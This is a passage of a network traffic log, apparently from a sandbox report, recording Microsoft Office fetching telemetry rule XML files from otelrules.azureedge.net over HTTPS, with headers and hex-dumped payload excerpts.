2024-11-20 07:12:31 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49804	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:31 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:31 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:31 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071231Z-185f5d8b95c4vwv8hC1NYCy4v400000009xg00000000kgkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:31 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49805	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:31 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:31 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:31 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 96e0b134-501e-0035-148c-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071231Z-r1d97b9957744xz5hC1TEB5bf800000008fg000000002ukw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:31 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49806	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:31 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:32 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:32 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071232Z-r1d97b99577n5jhbhC1TEB74vn00000008c000000000hckx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:32 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49809	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:32 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:32 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:32 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071232Z-r1d97b99577d6qrbhC1TEBux5s00000008mg00000000bw5v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:32 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49808	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:32 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:32 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:32 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: e045c2d1-201e-003c-718c-3a30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071232Z-1777c6cb754n67brhC1TEBcp9c000000097g00000000h97s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:32 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49811	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:32 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:32 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:32 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 07391e4c-a01e-0032-018c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071232Z-185f5d8b95cjbkr4hC1NYCeu2400000009rg00000000aeue x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:32 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49812	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:32 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:32 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:32 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c363d3e9-d01e-0028-158c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071232Z-r1d97b9957747b9jhC1TEBgyec00000008qg000000003a3z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:32 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49810	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:32 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:32 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:32 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 96190df9-401e-0016-6a8c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071232Z-r1d97b99577mrt4rhC1TEBftkc00000008e0000000006xsh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:32 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49814	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:33 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:33 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:33 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f909e935-c01e-0049-358c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071233Z-185f5d8b95c5lcmhhC1NYCsnsw00000009vg00000000n1vv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:33 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49813	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:33 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:33 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:33 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c363d474-d01e-0028-1b8c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071233Z-1777c6cb754xjpthhC1TEBexs8000000091g00000000ec7z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:33 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49815	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:33 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:33 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:33 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df1e4bb0-c01e-0034-6f8a-3a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071233Z-1777c6cb754dqb2khC1TEBmk1s000000094000000000huy2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:33 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49816	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:33 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
